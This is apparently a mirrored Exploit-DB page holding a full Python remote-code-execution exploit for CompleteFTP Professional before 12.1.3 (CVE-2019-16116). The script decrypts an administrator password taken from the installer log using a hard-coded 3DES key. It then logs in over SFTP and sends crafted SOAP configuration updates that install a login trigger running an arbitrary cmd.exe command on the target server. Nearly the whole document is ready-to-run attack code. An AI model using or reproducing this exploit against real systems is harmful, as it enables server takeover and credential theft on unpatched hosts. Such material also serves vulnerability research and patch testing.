CompleteFTP Professional 12.1.3 – Remote Code Execution

  • 作者： 1F98D
    日期： 2020-07-09
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/48657/
  • # Exploit Title: CompleteFTP Professional < 12.1.3 - Remote Code Execution
# Date: 2020-03-11
# Exploit Author: 1F98D
# Original Author: Rhino Security Labs
# Vendor Homepage: https://enterprisedt.com/products/completeftp/
# Version: CompleteFTP Professional
# Tested on: Windows 10 (x64)
# CVE: CVE‑2019‑16116
# References:
# https://rhinosecuritylabs.com/application-security/completeftp-server-local-privesc-cve-2019-16116/
# https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2019-16116
#
# CompleteFTP before 12.1.3 logs an obscured administrator password to a file
# during installation (C:\Program Files (x86)\Complete FTP\Server\Bootstrapper.log)
# if CompleteFTP is configured to permit remote administration (over port 14983) it
# is possible to obtain remote code execution through the administration interface
#
# This script requires the following python modules are installed
# pip install paramiko pycryptodome uuid
# 
#!/usr/local/bin/python3

from paramiko.sftp import CMD_EXTENDED
from base64 import b64encode, b64decode
from Crypto.Util.Padding import unpad
from Crypto.Cipher import DES3
import xml.etree.ElementTree as ET
import paramiko
import struct
import uuid
import sys

# region get_server_info
get_server_info = """
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<i2:GetServerInfo id="ref-1" xmlns:i2="Admin API">
</i2:GetServerInfo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
""".strip()
# endregion

# region update_config
update_config = """
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<i2:UpdateConfig id="ref-1" xmlns:i2="Admin API">
<changes href="https://www.exploit-db.com/exploits/48657/#ref-4"/>
</i2:UpdateConfig>
<a1:ConfigDataSet id="ref-4" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/EnterpriseDT.Net.FtpServer.Config/CompleteFTPManager%2C%20Version%3D8.3.3.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D48e55b33069804ce">
<DataSet.RemotingVersion href="https://www.exploit-db.com/exploits/48657/#ref-5"/>
<XmlSchema id="ref-6">{XMLSCHEMA}</XmlSchema>
<XmlDiffGram id="ref-7">{XMLDIFFGRAM}</XmlDiffGram>
</a1:ConfigDataSet>
<a2:Version id="ref-5" xmlns:a2="http://schemas.microsoft.com/clr/ns/System">
<_Major>2</_Major>
<_Minor>0</_Minor>
<_Build>-1</_Build>
<_Revision>-1</_Revision>
</a2:Version>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
""".strip()
# endregion

# region xml_schema
xml_schema = """
<?xml version="1.0" encoding="utf-16"?>
<xs:schema id="ConfigDataSet" targetNamespace="http://tempuri.org/ConfigDataSet.xsd" xmlns:mstns="http://tempuri.org/ConfigDataSet.xsd" xmlns="http://tempuri.org/ConfigDataSet.xsd" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:msprop="urn:schemas-microsoft-com:xml-msprop" attributeFormDefault="qualified" elementFormDefault="qualified">
<xs:element name="ConfigDataSet" msdata:IsDataSet="true" msdata:Locale="en-US" msdata:TimestampingEnabled="False">
<xs:complexType>
<xs:choice minOccurs="0" maxOccurs="unbounded">
<xs:element name="PlugIn">
<xs:complexType>
<xs:sequence>
<xs:element name="PlugInID" msdata:DataType="System.Guid, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />
<xs:element name="Name" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd">
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="100" />
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="ClassName" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd">
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="400" />
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="PlugInTypeID" type="xs:int" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />
<xs:element name="Configuration" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" />
<xs:element name="CreatedTime" type="xs:dateTime" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />
<xs:element name="ModifiedTime" type="xs:dateTime" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />
<xs:element name="UserInstance" type="xs:boolean" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" />
<xs:element name="System" type="xs:boolean" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />
<xs:element name="EditorClassName" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0">
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="100" />
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="AssemblyPath" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0">
</xs:element>
<xs:element name="MinimumEdition" type="xs:int" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" />
<xs:element name="ChangeSetID" msdata:DataType="System.Guid, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" />
</xs:sequence>
</xs:complexType>
</xs:element>
<xs:element name="Server">
<xs:complexType>
</xs:complexType>
</xs:element>
<xs:element name="SiteUser">
<xs:complexType>
</xs:complexType>
</xs:element>
<xs:element name="Site">
<xs:complexType>
</xs:complexType>
</xs:element>
<xs:element name="Node">
<xs:complexType>
</xs:complexType>
</xs:element>
<xs:element name="TrashHeap1">
<xs:complexType>
</xs:complexType>
</xs:element>
<xs:element name="TrashHeap2">
<xs:complexType>
</xs:complexType>
</xs:element>
<xs:element name="ChangeSet">
<xs:complexType>
</xs:complexType>
</xs:element>
<xs:element name="RuntimeVariable">
<xs:complexType>
</xs:complexType>
</xs:element>
</xs:choice>
</xs:complexType>
<xs:unique name="PlugIn_Constraint1" msdata:ConstraintName="Constraint1" msdata:PrimaryKey="true">
<xs:selector xpath=".//mstns:PlugIn" />
<xs:field xpath="mstns:PlugInID" />
</xs:unique>
</xs:element>
</xs:schema>
""".replace("<", "&lt;").replace(">", "&gt;").replace('"', "&#34;").strip()
# endregion

# region xml_diffgram
xml_diffgram = """
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<ConfigDataSet xmlns="http://tempuri.org/ConfigDataSet.xsd">
<PlugIn diffgr:id="PlugIn1" msdata:rowOrder="0" diffgr:hasChanges="modified">
<PlugInID>88428040-73b3-4497-9b6d-69af2f1cc3c7</PlugInID>
<Name>Process Execution</Name>
<ClassName>EnterpriseDT.Net.FtpServer.Trigger.ProcessTrigger</ClassName>
<PlugInTypeID>2</PlugInTypeID>
<Configuration>{CONFIGURATION}</Configuration>
<CreatedTime>2020-03-10T18:33:41.107+08:00</CreatedTime>
<ModifiedTime>2020-03-10T10:52:00.7496654+08:00</ModifiedTime>
<UserInstance>false</UserInstance>
<System>true</System>
<ChangeSetID>{ID}</ChangeSetID>
</PlugIn>
<PlugInType diffgr:id="PlugInType1" msdata:rowOrder="0">
<PlugInTypeID>2</PlugInTypeID>
<Name>Event</Name>
<CreatedTime>2009-06-29T11:48:00+08:00</CreatedTime>
<ModifiedTime>2009-06-29T11:48:00+08:00</ModifiedTime>
</PlugInType>
<ChangeSet diffgr:id="ChangeSet1" msdata:rowOrder="0">
<ChangeSetID></ChangeSetID>
<Sequence>3</Sequence>
<CreatedTime>2020-03-10T10:50:44.4209655+08:00</CreatedTime>
<ModifiedTime>2020-03-10T10:50:44.4209655+08:00</ModifiedTime>
<IsPrimary>true</IsPrimary>
</ChangeSet>
</ConfigDataSet>
<diffgr:before>
<PlugIn diffgr:id="PlugIn1" msdata:rowOrder="0" xmlns="http://tempuri.org/ConfigDataSet.xsd">
<PlugInID>88428040-73b3-4497-9b6d-69af2f1cc3c7</PlugInID>
<Name>Process Execution</Name>
<ClassName>EnterpriseDT.Net.FtpServer.Trigger.ProcessTrigger</ClassName>
<PlugInTypeID>2</PlugInTypeID>
<Configuration></Configuration>
<CreatedTime>2020-03-10T18:33:41.107+08:00</CreatedTime>
<ModifiedTime>2020-03-10T10:50:44.4209655+08:00</ModifiedTime>
<UserInstance>false</UserInstance>
<System>true</System>
<ChangeSetID></ChangeSetID>
</PlugIn>
</diffgr:before>
</diffgr:diffgram>
""".strip()
# endregion

# region config
config = """
<TriggerDataSet xmlns="http://tempuri.org/TriggerDataSet.xsd">
<ProcessConfig>
<ProcessConfigID>0</ProcessConfigID>
<MaxProcesses>10</MaxProcesses>
<RunTimeout>0</RunTimeout>
<QueueTimeout>0</QueueTimeout>
<KillOnExit>true</KillOnExit>
</ProcessConfig>
<ProcessRule>
<ProcessRuleID>1</ProcessRuleID>
<ProcessConfigID>0</ProcessConfigID>
<Name>trigger</Name>
<Enabled>true</Enabled>
<ProcessType>0</ProcessType>
<ProcessPath>cmd.exe</ProcessPath>
<Arguments>/c {CMD}</Arguments>
<PathFilter>*</PathFilter>
<OnError>false</OnError>
<OnSuccess>true</OnSuccess>
<RowOrder>1</RowOrder>
</ProcessRule>
<ProcessEvent>
<ProcessRuleID>1</ProcessRuleID>
<EventType>LogIn</EventType>
</ProcessEvent>
</TriggerDataSet>
""".strip()
# endregion

def prepare_update_config(uuid, cmd):
config_payload = config
config_payload = config_payload.replace('{CMD}', cmd)
config_payload = config_payload.replace('<', '&lt;')
config_payload = config_payload.replace('>', '&gt;')

diffgram_payload = xml_diffgram
diffgram_payload = diffgram_payload.replace('{CONFIGURATION}', config_payload)
diffgram_payload = diffgram_payload.replace('{ID}', uuid)
diffgram_payload = diffgram_payload.replace('&', '&#38;')
diffgram_payload = diffgram_payload.replace('<', '&#60;')
diffgram_payload = diffgram_payload.replace('>', '&#62;')
diffgram_payload = diffgram_payload.replace('"', '&#34;')

payload = update_config
payload = payload.replace('{XMLSCHEMA}', xml_schema)
payload = payload.replace('{XMLDIFFGRAM}', diffgram_payload)

return payload

def send_request(sftp, payload):
payload = b64encode(bytes(payload, 'utf-8')).decode('utf-8')
res = sftp._request(CMD_EXTENDED, 'admin@enterprisedt.com', 'SOAP64 ' + payload)
return res

def convert_changeset_id_to_uuid(changeset_id):
a = struct.pack('i', int(changeset_id[0].text))# 32
b = struct.pack('h', int(changeset_id[1].text))# 16
c = struct.pack('h', int(changeset_id[2].text))# 16
d = struct.pack('B', int(changeset_id[3].text))# 8
e = struct.pack('B', int(changeset_id[4].text))# 8
f = struct.pack('B', int(changeset_id[5].text))# 8
g = struct.pack('B', int(changeset_id[6].text))# 8
h = struct.pack('B', int(changeset_id[7].text))# 8
i = struct.pack('B', int(changeset_id[8].text))# 8
j = struct.pack('B', int(changeset_id[9].text))# 8
k = struct.pack('B', int(changeset_id[10].text)) # 8

x = a + b + c + d + e + f + g + h + i + j + k
return uuid.UUID(bytes_le=x)

def get_uuid(sftp):
res = send_request(sftp, get_server_info)
if res[0] != 201:
print('[!] Error could not request server info via SFTP')
sys.exit(1)

res = b64decode(res[1].get_string()).decode('utf-8')
res = ET.fromstring(res)
changeset_id = res.find('.//SyncChangeSetID')
uuid = convert_changeset_id_to_uuid(changeset_id)
return str(uuid)

def login(host, port, user, password):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host, port, user, password, look_for_keys=False, allow_agent=False)
return ssh.open_sftp()

def send_command(sftp, cmd):
uuid = get_uuid(sftp)
payload = prepare_update_config(uuid, cmd)
res = send_request(sftp, payload)
if res[0] != 201:
print('[!] Error could not send update config request via SFTP')
sys.exit(1)

def decrypt_password(password):
key = b64decode('HKVV76GdVuzXne/zxtWvdjA2d2Am548E')
iv = b64decode('gVGow/9uLvM=')
encrypted = b64decode(password)
cipher = DES3.new(key=key, iv=iv, mode=DES3.MODE_CBC)
decrypted = cipher.decrypt(encrypted)
return unpad(decrypted, 8).decode('utf-16')

if len(sys.argv) != 6:
print('[!] Missing arguments')
print('[ ] Usage: {} <target> <port> <username> <encrypted-password> <cmd>'.format(sys.argv[0]))
print("[ ] E.g. {} 192.168.1.128 14983 admin DEomw27OY7sYZs4XjYA2kVB4LEB5skN4 'whoami > C:\\x.txt'".format(sys.argv[0]))
sys.exit(1)

target = sys.argv[1]
port = int(sys.argv[2])
username = sys.argv[3]
password = sys.argv[4]
cmd = sys.argv[5]

print('[ ] Decrypting password')
password = decrypt_password(password)
print('[ ] Decrypted password is "{}"'.format(password))

print('[ ] Logging in')
sftp = login(target, port, username, password)

print('[ ] Sending command')
send_command(sftp, cmd)

print('[ ] Command successfully sent, triggering...')
sftp = login(target, port, username, password)